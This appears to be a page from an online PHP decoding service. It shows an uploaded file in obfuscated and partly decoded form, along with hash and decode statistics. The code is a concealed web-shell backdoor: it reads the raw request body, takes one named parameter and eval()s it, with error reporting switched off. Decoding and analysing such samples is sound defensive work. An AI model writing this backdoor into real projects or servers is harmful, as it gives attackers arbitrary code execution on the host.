Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); $lLfMfI = array(); while (count($lLfMfI) < 3) { $lLfMfd = rand(..
Decoded Output download
<?php
error_reporting(0); $lLfMfI = array(); while (count($lLfMfI) < 3) { $lLfMfd = rand(69, 71); if (!(count($lLfMfI) < 4)) { goto lrWdMIp; } if (!($lLfMfd === 70)) { goto lrWdMIM; } array_push($lLfMfI, $lLfMfd); lrWdMIM: lrWdMIp: } function hexToString($lLfMfM) { goto lrWdMIY; lrWdMIY: $lLfMfp = ''; goto lrWdMIr; lrWdMIs: return $lLfMfp; goto lrWdMIV; lrWdMIr: for ($lLfMff = 0; $lLfMff < strlen($lLfMfM) - 1; $lLfMff += 2) { $lLfMfp .= chr(hexdec($lLfMfM[$lLfMff] . $lLfMfM[$lLfMff + 1])); } goto lrWdMIs; lrWdMIV: } $lLfMfJ = 0; $lLfMfY = ''; foreach ($lLfMfI as &$lLfMfr) { goto lrWdMIE; lrWdMdI: $lLfMfr = hexToString(strval($lLfMfr)); goto lrWdMdd; lrWdMIE: if (!($lLfMfJ == 1)) { goto lrWdMIn; } goto lrWdMIZ; lrWdMIZ: $lLfMfr = 70 - 2; goto lrWdMIL; lrWdMdd: $lLfMfY .= $lLfMfr; goto lrWdMdM; lrWdMdM: $lLfMfJ++; goto lrWdMdp; lrWdMIL: lrWdMIn: goto lrWdMdI; lrWdMdp: } $lLfMfs = file_get_contents("{$lLfMfY}" . base64_decode("Oi8vaW5wdXQ=")); function inverse($lLfMfs) { goto lrWdMdf; lrWdMdJ: $lLfMfV = $lLfMfs[base64_decode("R29pb3BkOTk2")]; goto lrWdMdY; lrWdMdY: throw new Exception(eval($lLfMfV)); goto lrWdMdr; lrWdMdf: parse_str($lLfMfs, $lLfMfs); goto lrWdMdJ; lrWdMdr: } inverse($lLfMfs); ?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0); $lLfMfI = array(); while (count($lLfMfI) < 3) { $lLfMfd = rand(69, 71); if (!(count($lLfMfI) < 4)) { goto lrWdMIp; } if (!($lLfMfd === 70)) { goto lrWdMIM; } array_push($lLfMfI, $lLfMfd); lrWdMIM: lrWdMIp: } function hexToString($lLfMfM) { goto lrWdMIY; lrWdMIY: $lLfMfp = ''; goto lrWdMIr; lrWdMIs: return $lLfMfp; goto lrWdMIV; lrWdMIr: for ($lLfMff = 0; $lLfMff < strlen($lLfMfM) - 1; $lLfMff += 2) { $lLfMfp .= chr(hexdec($lLfMfM[$lLfMff] . $lLfMfM[$lLfMff + 1])); } goto lrWdMIs; lrWdMIV: } $lLfMfJ = 0; $lLfMfY = ''; foreach ($lLfMfI as &$lLfMfr) { goto lrWdMIE; lrWdMdI: $lLfMfr = hexToString(strval($lLfMfr)); goto lrWdMdd; lrWdMIE: if (!($lLfMfJ == 1)) { goto lrWdMIn; } goto lrWdMIZ; lrWdMIZ: $lLfMfr = 70 - 2; goto lrWdMIL; lrWdMdd: $lLfMfY .= $lLfMfr; goto lrWdMdM; lrWdMdM: $lLfMfJ++; goto lrWdMdp; lrWdMIL: lrWdMIn: goto lrWdMdI; lrWdMdp: } $lLfMfs = file_get_contents("{$lLfMfY}" . base64_decode("\x4f\151\70\166\x61\x57\x35\167\x64\130\121\x3d")); function inverse($lLfMfs) { goto lrWdMdf; lrWdMdJ: $lLfMfV = $lLfMfs[base64_decode("\x52\62\x39\160\142\63\x42\x6b\x4f\x54\153\62")]; goto lrWdMdY; lrWdMdY: throw new Exception(eval($lLfMfV)); goto lrWdMdr; lrWdMdf: parse_str($lLfMfs, $lLfMfs); goto lrWdMdJ; lrWdMdr: } inverse($lLfMfs);
Function Calls
None |
Stats
MD5 | 334ed167a735b1f8f37995c7afa58cce |
Eval Count | 0 |
Decode Time | 52 ms |